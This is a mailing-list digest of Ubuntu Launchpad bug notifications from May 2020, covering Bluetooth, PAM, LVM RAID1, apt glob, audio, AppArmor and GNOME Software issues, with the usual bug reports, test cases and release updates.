Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879582] Re: [Redmi AirDots Bluetooth] I need to remove device in settings every time i want to connect again

2020-05-19 Thread Ubuntu Foundations Team Bug Bot
** Package changed: ubuntu => alsa-driver (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to alsa-driver in Ubuntu.
https://bugs.launchpad.net/bugs/1879582

Title:
  [Redmi AirDots Bluetooth] I need to remove device in settings every
  time i want to connect again

Status in alsa-driver package in Ubuntu:
  New

Bug description:
  I can connect to my bluetooth phone only the first time after pair the 
device. It works until disconnecting, (whether by turning off the phone, or 
putting into the case, or disconnecting in ubuntu settings), and then i turn on 
the phone again (or remove from the case), i cannot connect until I manually 
remove from bluetooth devices list in Ubuntu Settings, and then pair it again.. 
  If the Ubuntu/Gnome Settings is opened, i can see the status "connected" 
blinks, and fastly change to "disconnected".

  My bluetooth phone works fine with another devices.
  Ubuntu 20.04 LTS
  Laptop Acer Aspire Nitro 5 (AN515-52-5771).

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: alsa-base 1.0.25+dfsg-0ubuntu5
  ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
  Uname: Linux 5.4.0-29-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  felipe 2149 F pulseaudio
   /dev/snd/controlC0:  felipe 2149 F pulseaudio
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Tue May 19 19:10:35 2020
  InstallationDate: Installed on 2020-04-29 (20 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  PackageArchitecture: all
  SourcePackage: alsa-driver
  Symptom: audio
  Symptom_Card: Redmi AirDots_R
  Symptom_Type: None of the above
  Title: [Redmi AirDots_R, playback] Playback problem
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 08/05/2019
  dmi.bios.vendor: Insyde Corp.
  dmi.bios.version: V1.28
  dmi.board.asset.tag: Type2 - Board Serial Number
  dmi.board.name: Freed_CFS
  dmi.board.vendor: CFL
  dmi.board.version: V1.28
  dmi.chassis.type: 10
  dmi.chassis.vendor: Acer
  dmi.chassis.version: V1.28
  dmi.modalias: 
dmi:bvnInsydeCorp.:bvrV1.28:bd08/05/2019:svnAcer:pnNitroAN515-52:pvrV1.28:rvnCFL:rnFreed_CFS:rvrV1.28:cvnAcer:ct10:cvrV1.28:
  dmi.product.family: Nitro 5
  dmi.product.name: Nitro AN515-52
  dmi.product.sku: 
  dmi.product.version: V1.28
  dmi.sys.vendor: Acer

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1879582/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879582] [NEW] [Redmi AirDots Bluetooth] I need to remove device in settings every time i want to connect again

2020-05-19 Thread Launchpad Bug Tracker
You have been subscribed to a public bug:

I can connect to my bluetooth phone only the first time after pair the device. 
It works until disconnecting, (whether by turning off the phone, or putting 
into the case, or disconnecting in ubuntu settings), and then i turn on the 
phone again (or remove from the case), i cannot connect until I manually remove 
from bluetooth devices list in Ubuntu Settings, and then pair it again.. 
If the Ubuntu/Gnome Settings is opened, i can see the status "connected" 
blinks, and fastly change to "disconnected".

My bluetooth phone works fine with another devices.
Ubuntu 20.04 LTS
Laptop Acer Aspire Nitro 5 (AN515-52-5771).

ProblemType: Bug
DistroRelease: Ubuntu 20.04
Package: alsa-base 1.0.25+dfsg-0ubuntu5
ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
Uname: Linux 5.4.0-29-generic x86_64
NonfreeKernelModules: nvidia_modeset nvidia
ApportVersion: 2.20.11-0ubuntu27
Architecture: amd64
AudioDevicesInUse:
 USERPID ACCESS COMMAND
 /dev/snd/controlC1:  felipe 2149 F pulseaudio
 /dev/snd/controlC0:  felipe 2149 F pulseaudio
CasperMD5CheckResult: skip
CurrentDesktop: ubuntu:GNOME
Date: Tue May 19 19:10:35 2020
InstallationDate: Installed on 2020-04-29 (20 days ago)
InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
PackageArchitecture: all
SourcePackage: alsa-driver
Symptom: audio
Symptom_Card: Redmi AirDots_R
Symptom_Type: None of the above
Title: [Redmi AirDots_R, playback] Playback problem
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 08/05/2019
dmi.bios.vendor: Insyde Corp.
dmi.bios.version: V1.28
dmi.board.asset.tag: Type2 - Board Serial Number
dmi.board.name: Freed_CFS
dmi.board.vendor: CFL
dmi.board.version: V1.28
dmi.chassis.type: 10
dmi.chassis.vendor: Acer
dmi.chassis.version: V1.28
dmi.modalias: 
dmi:bvnInsydeCorp.:bvrV1.28:bd08/05/2019:svnAcer:pnNitroAN515-52:pvrV1.28:rvnCFL:rnFreed_CFS:rvrV1.28:cvnAcer:ct10:cvrV1.28:
dmi.product.family: Nitro 5
dmi.product.name: Nitro AN515-52
dmi.product.sku: 
dmi.product.version: V1.28
dmi.sys.vendor: Acer

** Affects: alsa-driver (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug focal
-- 
[Redmi AirDots Bluetooth] I need to remove device in settings every time i want 
to connect again
https://bugs.launchpad.net/bugs/1879582
You received this bug notification because you are a member of Ubuntu Touch 
seeded packages, which is subscribed to alsa-driver in Ubuntu.

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1860826] Re: pam_unix(sudo:auth): Couldn't open /etc/securetty: No such file or directory

2020-05-19 Thread Seth Arnold
Joshua, it's not a typo, and not a missing dependency:

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=674857#25

Thanks

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pam in Ubuntu.
https://bugs.launchpad.net/bugs/1860826

Title:
  pam_unix(sudo:auth): Couldn't open /etc/securetty: No such file or
  directory

Status in pam package in Ubuntu:
  Confirmed
Status in pam source package in Groovy:
  Confirmed
Status in pam package in Debian:
  New

Bug description:
  Hello, after upgrading to focal I found the following in my journalctl
  output:

  Jan 24 23:07:00 millbarge sudo[32120]: pam_unix(sudo:auth): Couldn't open 
/etc/securetty: No such file or directory
  Jan 24 23:07:01 millbarge sudo[32120]: pam_unix(sudo:auth): Couldn't open 
/etc/securetty: No such file or directory

  
  The login package stopped packaging this file:
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=731656
  and now forcibly removes the file:
  https://paste.ubuntu.com/p/myh9cGWrHD/

  However, the pam package's pam_unix.so module has not yet been adapted to 
ignore this file:
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=674857#25

  Thanks

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: libpam-modules 1.3.1-5ubuntu4
  ProcVersionSignature: Ubuntu 5.4.0-9.12-generic 5.4.3
  Uname: Linux 5.4.0-9-generic x86_64
  NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair
  ApportVersion: 2.20.11-0ubuntu15
  Architecture: amd64
  Date: Fri Jan 24 23:35:33 2020
  ProcEnviron:
   TERM=rxvt-unicode-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: pam
  UpgradeStatus: Upgraded to focal on 2020-01-24 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pam/+bug/1860826/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1509717] Re: Wily LVM-RAID1 – md: personality for level 1 is not loaded

2020-05-19 Thread Launchpad Bug Tracker
This bug was fixed in the package lvm2 - 2.02.176-4.1ubuntu3.18.04.3

---
lvm2 (2.02.176-4.1ubuntu3.18.04.3) bionic; urgency=medium

  [ Steve Langasek ]
  * Include raid1 in the list of modules installed by the initramfs hook,
as this is not a kernel module dependency of dm-raid but if the user's
root disk is configured as RAID1 it is definitely required.
Closes: #841423, LP: #1509717.

 -- Julian Andres Klode   Thu, 23 Jan 2020 16:45:10
+0100

** Changed in: lvm2 (Ubuntu Bionic)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lvm2 in Ubuntu.
https://bugs.launchpad.net/bugs/1509717

Title:
  Wily LVM-RAID1 – md: personality for level 1 is not loaded

Status in linux package in Ubuntu:
  Invalid
Status in lvm2 package in Ubuntu:
  Fix Released
Status in linux source package in Bionic:
  Invalid
Status in lvm2 source package in Bionic:
  Fix Released
Status in linux source package in Cosmic:
  Invalid
Status in lvm2 source package in Cosmic:
  Won't Fix
Status in linux source package in Disco:
  Invalid
Status in lvm2 source package in Disco:
  Won't Fix
Status in linux source package in Eoan:
  Invalid
Status in lvm2 source package in Eoan:
  Fix Committed
Status in lvm2 package in Debian:
  Incomplete

Bug description:
  [Impact]
  system does not boot after converting lvm volume to raid1 w/o having mdadm 
installed.

  [Test case]

  1. Install server with subiquity to LVM
  2. Add second disk to it
  3. Run pvcreate /dev/vdb
  4. Run vgextend ubuntu-vg /dev/vdb
  5. Run lvconvert -m1 --type raid1 ubuntu-vg/lv

  Reboot and check that it still boots.

  6. Remove mdadm
  7. Upgrade to lvm2 from proposed

  Reboot and check that it still boots.

  8. Downgrade lvm2 to release

  Reboot and check that it fails to boot

  [Regression potential]
  Not really anything, we just add the raid1 module to initramfs, so it might 
be loaded during boot, and raid1 logical volumes might appear earlier.

  [Original bug report]
  After upgrading to Wily, raid1 LVs don't activate during the initrd phase. 
Since the root LV is also RAID1-mirrored, the system doesn't boot.

  I get the following message each time LVM tries to activate a raid1 LV:
  md: personality for level 1 is not loaded!

  Everything was fine with Vivid. I had to downgrade to Vivid kernel
  (3.19.0-30) to get my system to a usable state. I pretty much hope it
  to be a temporary workaround and I'll get the new 4.2.0 kernel work
  with Wily in days.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1509717/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1509717] Update Released

2020-05-19 Thread Brian Murray
The verification of the Stable Release Update for lvm2 has completed
successfully and the package is now being released to -updates.
Subsequently, the Ubuntu Stable Release Updates Team is being
unsubscribed and will not receive messages about this bug report.  In
the event that you encounter a regression using the package from
-updates please report a new bug using ubuntu-bug and tag the bug report
regression-update so we can easily find any regressions.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lvm2 in Ubuntu.
https://bugs.launchpad.net/bugs/1509717

Title:
  Wily LVM-RAID1 – md: personality for level 1 is not loaded

Status in linux package in Ubuntu:
  Invalid
Status in lvm2 package in Ubuntu:
  Fix Released
Status in linux source package in Bionic:
  Invalid
Status in lvm2 source package in Bionic:
  Fix Released
Status in linux source package in Cosmic:
  Invalid
Status in lvm2 source package in Cosmic:
  Won't Fix
Status in linux source package in Disco:
  Invalid
Status in lvm2 source package in Disco:
  Won't Fix
Status in linux source package in Eoan:
  Invalid
Status in lvm2 source package in Eoan:
  Fix Committed
Status in lvm2 package in Debian:
  Incomplete

Bug description:
  [Impact]
  system does not boot after converting lvm volume to raid1 w/o having mdadm 
installed.

  [Test case]

  1. Install server with subiquity to LVM
  2. Add second disk to it
  3. Run pvcreate /dev/vdb
  4. Run vgextend ubuntu-vg /dev/vdb
  5. Run lvconvert -m1 --type raid1 ubuntu-vg/lv

  Reboot and check that it still boots.

  6. Remove mdadm
  7. Upgrade to lvm2 from proposed

  Reboot and check that it still boots.

  8. Downgrade lvm2 to release

  Reboot and check that it fails to boot

  [Regression potential]
  Not really anything, we just add the raid1 module to initramfs, so it might 
be loaded during boot, and raid1 logical volumes might appear earlier.

  [Original bug report]
  After upgrading to Wily, raid1 LVs don't activate during the initrd phase. 
Since the root LV is also RAID1-mirrored, the system doesn't boot.

  I get the following message each time LVM tries to activate a raid1 LV:
  md: personality for level 1 is not loaded!

  Everything was fine with Vivid. I had to downgrade to Vivid kernel
  (3.19.0-30) to get my system to a usable state. I pretty much hope it
  to be a temporary workaround and I'll get the new 4.2.0 kernel work
  with Wily in days.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1509717/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1872200] Re: apt does not accept globs and regexes in some cases

2020-05-19 Thread Brian Murray
** Tags added: block-proposed-focal

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1872200

Title:
  apt does not accept globs and regexes in some cases

Status in apt package in Ubuntu:
  Fix Released
Status in apt source package in Focal:
  Fix Committed
Status in apt source package in Groovy:
  Fix Released

Bug description:
  [Impact]
  Users can't use * wildcards anymore in focal, except by accident in apt list.

  For apt list, we now start restricting wildcard syntax to the same
  syntax install now accepts, and at the same time we remove the
  restrictions on which patterns are accepted (which only accepted
  patterns starting in ~ or ?), so !~napt now works, and does not
  accidentally match as a wildcard.

  
  [Test case]

  Test that * wildcards work for both install and list, and test that a
  ? wildcard does not.

  We included autopkgtests for those:

   BEGIN TESTS #

  # * wildcards should still work
  testsuccessequal "Listing...
  automatic1/now 1.0 i386 [installed,local]
  automatic2/now 1.0 i386 [installed,local]" apt list 'automatic*'

  testfailureequal "Reading package lists...
  Building dependency tree...
  Reading state information...
  Note, selecting 'automatic1' for glob 'automatic*'
  Note, selecting 'automatic2' for glob 'automatic*'
  automatic1 is already the newest version (1.0).
  automatic1 set to manually installed.
  automatic2 is already the newest version (1.0).
  automatic2 set to manually installed.
  You might want to run 'apt --fix-broken install' to correct these.
  The following packages have unmet dependencies:
   broken : Depends: does-not-exist but it is not installable
  E: Unmet dependencies. Try 'apt --fix-broken install' with no packages (or 
specify a solution)." apt install -s 'automatic*'

  # other wildcards should fail

  testfailureequal "Listing...
  E: input:0-10: error: Expected pattern
 automatic?
 ^^" apt list 'automatic?'

  testfailureequal "Reading package lists...
  Building dependency tree...
  Reading state information...
  E: Unable to locate package automatic?" apt install -s 'automatic?'

  
   END TESTS #

  Also it might be worth checking that apt list !~napt works. This used
  to produce an empty list, as it was accidentally matched as a wildcard
  and produced no result - now it produces every package whose name does
  not contain "apt".

  
  [Regression potential]
  The changes only affect interactive users, as apt(8) is not stable for 
in-script use, hence they can fix up their command-line if it stops working for 
them (though, really, more should work now).

  No scripts will be broken :)

  [Squashed in changes]
  The SRU also fixes potential build failures by correctly prefxing nullptr_t 
with the std:: namespace, and includes updated Dutch documentation.

  [Original bug report]
  Observed with Ubuntu 20.04 Beta.

  apt remove 'mypackage*' does not remove all installed packages
  starting with “mypackage”.  Instead:

  $ sudo apt remove 'mypackage*'
  Reading package lists... Done
  Building dependency tree
  Reading state information... Done
  E: Unable to locate package mypackage*

  However:

  $ sudo apt list --installed 'mypackage*'
  Listing... Done
  mypackage-data-v1/focal,focal,now 0.3.2-5build1 all [installed,automatic]
  mypackage1/focal,now 0.3.2-5build1 amd64 [installed]

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1872200/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878702] Re: [UX530UX, Realtek ALC295, Speaker, Internal] No sound

2020-05-19 Thread Evaristo Lopez Garcia
Thanks Mr Daniel,

I see the different files of PulseAudio, it's possible on the upgrading weren't 
downloaded all the packages files, because I get the latest version of the 
files and they are less than the previous version. 
One CLEAN installation of an ISO images will correct the problem. 

Thanks so much Mr. Daniel.

Best Regards, Evaristo.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1878702

Title:
  [UX530UX, Realtek ALC295, Speaker, Internal] No sound

Status in pulseaudio package in Ubuntu:
  New

Bug description:
  After upgrading to 20.04 from 18.04, I cannot hear anything, music and videos.
  In Settings/Sound "System Volume" and "Volume Levels" are OK, I can decrease 
and increase the volume, but I don't hear anything. Only "Input Volume" has the 
Speaker icon a cross, but I can increase and decrease the level. 

  1. DistroRelease: Ubuntu 20.04 
  2. Package:  pulseaudio 1:13.99.1-1ubuntu3.2 
  3. I expect hear music or video 
  4. None sound came from the computer.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: pulseaudio 1:13.99.1-1ubuntu3.2
  ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
  Uname: Linux 5.4.0-29-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/by-path', 
'/dev/snd/controlC0', '/dev/snd/hwC0D2', '/dev/snd/hwC0D0', 
'/dev/snd/pcmC0D10p', '/dev/snd/pcmC0D9p', '/dev/snd/pcmC0D8p', 
'/dev/snd/pcmC0D7p', '/dev/snd/pcmC0D3p', '/dev/snd/pcmC0D0c', 
'/dev/snd/pcmC0D0p', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1:
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Thu May 14 23:38:54 2020
  InstallationDate: Installed on 2018-05-14 (731 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  SourcePackage: pulseaudio
  Symptom: audio
  Symptom_Card: HDA-Intel - HDA Intel PCH
  Symptom_Jack: Speaker, Internal
  Title: [UX530UX, Realtek ALC295, Speaker, Internal] Pulseaudio fails to 
detect card
  UpgradeStatus: Upgraded to focal on 2020-05-13 (1 days ago)
  dmi.bios.date: 03/03/2017
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: UX530UX.301
  dmi.board.asset.tag: ATN12345678901234567
  dmi.board.name: UX530UX
  dmi.board.vendor: ASUSTeK COMPUTER INC.
  dmi.board.version: 1.0
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: ASUSTeK COMPUTER INC.
  dmi.chassis.version: 1.0
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrUX530UX.301:bd03/03/2017:svnASUSTeKCOMPUTERINC.:pnUX530UX:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX530UX:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:
  dmi.product.family: UX
  dmi.product.name: UX530UX
  dmi.product.version: 1.0
  dmi.sys.vendor: ASUSTeK COMPUTER INC.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1878702/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1553685] Re: Lenovo Y700-17ISK subwoofer doesn't work

2020-05-19 Thread Bartosz Nowak
I found schematic for Lenovo Y700 15 ISK and make some investigation.

Ubuntu detects ALC233 as audio chip.
Schematic shows that my mother board got installed the ALC3248 one.
 
On schematic ALC3248 MONO_OUT and MONO_MUTE pins are connected to audio amp 
which drives subwoofer. 

The problem is ALC233 do not contain such pins. So no matter how we
tweak the setup in hdajackretask, there is no chance to solve this issue
that way.

First of all we need to find out similar driver, because i was unable to
find ALC3248 datasheet to create my own driver or to patch current one.

I think that we need to only match up pinout of ALC3248.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to alsa-driver in Ubuntu.
https://bugs.launchpad.net/bugs/1553685

Title:
  Lenovo Y700-17ISK subwoofer doesn't work

Status in alsa-driver package in Ubuntu:
  Confirmed

Bug description:
  Lenovo Y700-17ISK (Intel Core i7-6700HQ/RAM 16GB/SSD 512GB/Nvidia GTX960M 4GB)
  Operating system: Ubuntu 16.04 (xenial-desktop-amd64.iso 04-Mar-2016, kernel 
4.4.0-10-generic, nvidia 361.28)

  Problem: Notebook subwoofer doesn't work.

  Judging from alsa-info.sh output, there is no pin declared for the bass 
output by BIOS.
  Please find a zip file attached: 'alsa-info_hdajackretask-unconnected-pins'

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: linux-image-4.4.0-10-generic 4.4.0-10.25
  ProcVersionSignature: Ubuntu 4.4.0-10.25-generic 4.4.3
  Uname: Linux 4.4.0-10-generic x86_64
  ApportVersion: 2.20-0ubuntu3
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  aljosa 1776 F pulseaudio
  CurrentDesktop: Unity
  Date: Sun Mar  6 11:02:21 2016
  HibernationDevice: RESUME=UUID=ac022671-63df-40ae-bffe-66fff3b35125
  InstallationDate: Installed on 2016-03-05 (0 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Alpha amd64 (20160304)
  MachineType: LENOVO 80Q0
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-10-generic.efi.signed 
root=UUID=aa4325c4-4b4c-4372-b8ca-a66c3e5b2aa6 ro quiet splash vt.handoff=7
  RelatedPackageVersions:
   linux-restricted-modules-4.4.0-10-generic N/A
   linux-backports-modules-4.4.0-10-generic  N/A
   linux-firmware1.156
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 01/31/2016
  dmi.bios.vendor: LENOVO
  dmi.bios.version: CDCN30WW
  dmi.board.asset.tag: NO Asset Tag
  dmi.board.name: Allsparks 7A
  dmi.board.vendor: LENOVO
  dmi.board.version: NO DPK
  dmi.chassis.asset.tag: NO Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo ideapad Y700-17ISK
  dmi.modalias: 
dmi:bvnLENOVO:bvrCDCN30WW:bd01/31/2016:svnLENOVO:pn80Q0:pvrLenovoideapadY700-17ISK:rvnLENOVO:rnAllsparks7A:rvrNODPK:cvnLENOVO:ct10:cvrLenovoideapadY700-17ISK:
  dmi.product.name: 80Q0
  dmi.product.version: Lenovo ideapad Y700-17ISK
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1553685/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1872564] Re: /proc/sys/kernel/random/boot_id rule missing from abstractions/nameservice

2020-05-19 Thread Jamie Strandboge
@Sergio - assuming you are ok with my patch, do you still plan to follow
through on the SRU verification once it is accepted into focal-proposed?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1872564

Title:
  /proc/sys/kernel/random/boot_id rule missing from
  abstractions/nameservice

Status in apparmor package in Ubuntu:
  Fix Released
Status in apparmor source package in Focal:
  In Progress

Bug description:
  [Impact]

  On a default Focal install, systemd is used when looking up passwd and
  group information:

  # grep systemd /etc/nsswitch.conf
  passwd: files systemd
  group:  files systemd

  Daemons confined by Apparmor that also query those "databases" will
  cause this Apparmor denial:

  audit: type=1400 audit(1586825456.411:247): apparmor="DENIED"
  operation="open" namespace="root//lxd-fb1_"
  profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id"
  pid=7370 comm="named" requested_mask="r" denied_mask="r" fsuid=100
  ouid=100

  Many daemons confined by Apparmor also happen to downgrade their
  privileges so they always end up looking up user/group information.

  To fix this problem, we had to backport an upstream patch which adds
  new directives to the 'nameservices' apparmor profile.

  [Test Case]

  In order to reproduce the bug, one can:

  1) launch a Focal container (named fb1 here)
  $ lxc launch images:ubuntu/focal fb1

  2) setup apparmor inside the container (already done on official Ubuntu 
images)
  $ lxc exec fb1 -- apt update && lxc exec fb1 -- apt install apparmor -y

  3) install bind9
  $ lxc exec fb1 -- apt install bind9 -y

  4) check kernel logs for DENIED
  $ journalctl -o cat -b0 -k | grep 'apparmor="DENIED"' | grep -F 
'profile="/usr/sbin/named"'

  or, depending on how logging is configured:

  $ dmesg | grep 'apparmor="DENIED"' | grep -F
  'profile="/usr/sbin/named"'

  Step 4, should not return anything. Because systemd is involved in the
  user/group lookups, it currently returns the following:

  audit: type=1400 audit(1586826072.115:266): apparmor="DENIED" 
operation="open" namespace="root//lxd-fb1_" 
profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id" pid=13756 
comm="named" requested_mask="r" denied_mask="r" fsuid=100 ouid=100
  audit: type=1400 audit(1586826072.115:267): apparmor="DENIED" 
operation="open" namespace="root//lxd-fb1_" 
profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id" pid=13756 
comm="named" requested_mask="r" denied_mask="r" fsuid=100 ouid=100
  audit: type=1400 audit(1586826072.115:268): apparmor="DENIED" 
operation="open" namespace="root//lxd-fb1_" 
profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id" pid=13756 
comm="named" requested_mask="r" denied_mask="r" fsuid=100 ouid=100
  audit: type=1400 audit(1586826072.115:269): apparmor="DENIED" 
operation="open" namespace="root//lxd-fb1_" 
profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id" pid=13756 
comm="named" requested_mask="r" denied_mask="r" fsuid=100 ouid=100
  audit: type=1400 audit(1586826072.115:270): apparmor="DENIED" 
operation="open" namespace="root//lxd-fb1_" 
profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id" pid=13756 
comm="named" requested_mask="r" denied_mask="r" fsuid=100 ouid=100

  [Regression Potential]

  In order to fix this issue, 3 separate patches had to be backported.
  They are simple and self-contained, especially two of them, whose
  purposes are to add the definition of the @{run} variable and then to
  add a trailing slash at the end of the "/run" pathname.

  The other patch, albeit very simple, adds three statements to the
  'nameservice' profile in order to let processes access (read-only)
  files under "/run/systemd/userdb" and
  "/proc/sys/kernel/random/boot_id".  After thinking about the possible
  cases, the only possible problem I could envision was for a program
  that, not being able to access some of these files before, will now be
  able to do that and therefore exercise a part of its codebase which
  was not being used, possibly uncovering latent bugs in this software.
  But this is not a regression of apparmor per se.

  [Original Description]

  (Description and Test Case were moved above)

  # Workaround

  1) remove systemd from nsswitch.conf
  $ lxc exec fb1 -- sed -i 's/ systemd$/ # systemd/' /etc/nsswitch.conf
  2) restart named
  $ lxc exec fb1 -- service named restart
  3) notice no more denials in kernel logs

  # Additional information

  root@fb1:~# apt-cache policy apparmor
  apparmor:
    Installed: 2.13.3-7ubuntu4
    Candidate: 2.13.3-7ubuntu4
    Version table:
   *** 2.13.3-7ubuntu4 500
  500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages
  100 /var/lib/dpkg/status

  root@fb1:~# uname -a
  Linux fb1 5.3.0-46-generic #38~18.04.1-Ubuntu 

[Touch-packages] [Bug 1864307] Re: Many apps have no icon in Software on Focal

2020-05-19 Thread Brian Murray
Hello AsciiWolf, or anyone else affected,

Accepted ubuntu-meta into focal-proposed. The package will build now and
be available at https://launchpad.net/ubuntu/+source/ubuntu-meta/1.450.1
in a few hours, and then in the -proposed repository.

Please help us by testing this new package.  See
https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how
to enable and use -proposed.  Your feedback will aid us getting this
update out to other Ubuntu users.

If this package fixes the bug for you, please add a comment to this bug,
mentioning the version of the package you tested, what testing has been
performed on the package and change the tag from verification-needed-
focal to verification-done-focal. If it does not fix the bug for you,
please add a comment stating that, and change the tag to verification-
failed-focal. In either case, without details of your testing we will
not be able to proceed.

Further information regarding the verification process can be found at
https://wiki.ubuntu.com/QATeam/PerformingSRUVerification .  Thank you in
advance for helping!

N.B. The updated package will be released to -updates after the bug(s)
fixed by this package have been verified and the package has been in
-proposed for a minimum of 7 days.

** Changed in: ubuntu-meta (Ubuntu Focal)
   Status: Confirmed => Fix Committed

** Tags added: verification-needed verification-needed-focal

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1864307

Title:
  Many apps have no icon in Software on Focal

Status in GNOME Software:
  Unknown
Status in snap-store:
  Fix Committed
Status in gnome-software package in Ubuntu:
  Confirmed
Status in ubuntu-meta package in Ubuntu:
  Fix Released
Status in gnome-software source package in Focal:
  Confirmed
Status in ubuntu-meta source package in Focal:
  Fix Committed

Bug description:
  Many applications have no icon displayed in GNOME Software 3.35.91 on
  latest Ubuntu Focal. See the attached screenshot.

  
  [Impact] 

   * Some apt packages do not include an icon in snap-store

  [Test Case]

   * Open snap-store, search for GCompris and confirm there is an
  appropriate icon

  [Regression Potential]

